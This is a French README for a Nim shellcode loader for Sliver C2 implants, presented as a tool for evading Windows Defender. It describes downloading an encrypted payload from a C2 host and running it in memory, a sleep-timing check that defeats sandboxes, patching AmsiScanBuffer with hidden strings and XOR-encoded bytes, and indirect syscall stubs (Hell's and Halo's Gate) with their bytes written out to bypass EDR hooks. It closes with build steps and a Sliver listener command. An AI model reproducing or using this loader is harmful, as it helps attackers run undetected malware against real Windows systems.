
Outil de chiffrement basé sur Nim pour obscurcir du shellcode et des payloads afin d'éviter Windows Defender.
Un chargeur de shellcode Sliver écrit en Nim ciblant Windows x64. Deux variantes couvrant les deux situations de livraison les plus courantes. Testé contre Windows Defender avec la protection en temps réel activée.
Lit un blob de shellcode chiffré depuis le disque, le déchiffre en mémoire et s'injecte lui-même. Utilisez-le lorsque vous disposez déjà d'une primitive de dépôt de fichier et que vous souhaitez un binaire petit et simple.
loader.exe <shellcode.bin> [key_hex iv_hex]
La clé et l'IV sont optionnels. S'ils sont omis, le fichier est traité comme du shellcode brut non chiffré.
Télécharge le blob chiffré depuis votre C2 via HTTP en utilisant la pile WinHTTP de Windows, le déchiffre en mémoire et s'injecte lui-même. Aucun fichier ne touche jamais le disque. Utilisez-le lorsque vous pouvez exécuter un binaire sur la cible mais ne pouvez pas déposer un second fichier de manière fiable.
Modifiez les constantes en haut de stageless/loader.nim avant la compilation :
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 caractères hexadécimaux de encrypt.py
scIV = "..." # 32 caractères hexadécimaux de encrypt.py
Le chargeur stageless appelle Sleep(5000) au démarrage et mesure le temps réel écoulé avec GetTickCount64. Si moins de 4500 ms se sont écoulées, le processus se termine. La plupart des environnements de bac à sable automatisés avancent rapidement ou sautent les appels Sleep, ce qui fait échouer la vérification. Cette vérification a lieu avant toute activité réseau ou exécution de shellcode, de sorte que les bacs à sable qui inspectent le comportement réseau ne voient rien.
amsi.nim patche AmsiScanBuffer à l'exécution à l'aide de deux couches d'obfuscation :
Masquage de chaîne via le hachage FNV-1a. La chaîne AmsiScanBuffer n'apparaît jamais dans le binaire. Au lieu de cela, son hash FNV-1a est calculé au moment de la compilation et stocké sous forme de constante. À l'exécution, le chargeur parcourt la table d'export d'amsi.dll, hache chaque nom d'export et le compare à la valeur stockée pour trouver l'adresse de la fonction sans jamais conserver la chaîne en mémoire.
Obfuscation XOR au moment de la compilation. Le nom de la DLL (amsi.dll) et les octets du patch (xor eax, eax; ret = 31 C0 C3) sont encodés en XOR au moment de la compilation en utilisant une clé aléatoire générée à chaque construction via un sous-processus Python. La clé est intégrée comme constante et les octets sont décodés à l'exécution immédiatement avant utilisation. Les octets bruts changent à chaque construction, brisant les signatures statiques sur la séquence de patch.
Le patch écrase les trois premiers octets de AmsiScanBuffer avec xor eax, eax; ret, faisant en sorte que chaque appel retourne AMSI_RESULT_CLEAN indépendamment de l'entrée.
encrypt.py chiffre le shellcode brut avec AES-256-CBC en utilisant une clé de 32 octets et un IV de 16 octets générés aléatoirement. Le chargeur déchiffre sur place en utilisant l'API BCrypt de Windows, donc aucune bibliothèque cryptographique tierce n'est nécessaire sur la cible.
La mémoire est allouée en PAGE_READWRITE, le shellcode y est écrit, puis la région est changée en PAGE_EXECUTE_READ avant l'exécution. Allouer directement en PAGE_EXECUTE_READWRITE est une signature bien connue que Defender et les EDR signalent explicitement. Séparer les phases d'écriture et d'exécution évite ce motif.
stageless/syscalls.nim contourne à la fois la couche d'API Win32 (kernel32.dll) et les hooks en espace utilisateur placés dans ntdll.dll par les EDR.
Résolution SSN. Au démarrage, le chargeur obtient l'adresse de base de ntdll et analyse sa table d'export PE, collectant chaque export Nt* trié par RVA. Pour chaque fonction NT dont nous avons besoin, il vérifie les quatre premiers octets :
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) signifie que le stub est propre et que le SSN est lu directement des octets 4-5. C'est Hell's Gate.SSN_voisin +/- distance. Les SSN s'incrémentent de un par stub dans l'ordre des adresses. C'est Halo's Gate.Localisation du gadget. Le chargeur scanne le premier stub Nt* propre qu'il trouve pour la séquence d'octets 0F 05 C3 (syscall; ret). Cela donne une adresse dans la section .text adossée à l'image de ntdll que nous pouvons réutiliser.
Génération de stub. Pour chaque fonction requise, un stub de 22 octets est écrit dans une seule page RW qui est changée en RX avant utilisation :
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx adresse du gadget
Le jmp [rip+0] déréférence les 8 octets immédiatement après (l'adresse du gadget) et redirige l'exécution dans la séquence syscall; ret existante de ntdll. L'instruction syscall s'exécute depuis le .text de ntdll plutôt que depuis notre allocation anonyme, déjouant tout suivi au niveau du noyau de la région mémoire qui a émis le syscall.
Les quatre fonctions couvertes par les appels système indirects sont NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx et NtWaitForSingleObject.
Après le déchiffrement, le chargeur stageless alloue une région RW dans son propre processus via NtAllocateVirtualMemory, copie le shellcode avec copyMem, change la région en RX via NtProtectVirtualMemory, et lance un thread via NtCreateThreadEx. Le thread principal se bloque alors indéfiniment sur NtWaitForSingleObject, gardant le processus en vie pendant que les goroutines du beacon s'exécutent. Les quatre appels passent par les stubs d'appels système indirects décrits ci-dessus.
L'auto-injection maintient la surface d'appel minimale. Il n'y a pas d'appels d'API inter-processus (WriteProcessMemory, CreateRemoteThread, etc.), qui sont les principaux vecteurs de détection pour l'injection distante classique.
AmsiScanBuffer via FNV-1a, écraser avec xor eax, eax; retsyscall; ret, écrire les stubsNtAllocateVirtualMemory dans son propre processus (RW) via appel système indirectNtProtectVirtualMemory vers PAGE_EXECUTE_READ via appel système indirectNtCreateThreadEx via appel système indirectNtWaitForSingleObject sur le handle du thread via appel système indirectVirtualAlloc (RW), copier le shellcode, VirtualProtect vers RXSur votre machine de build Linux :
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443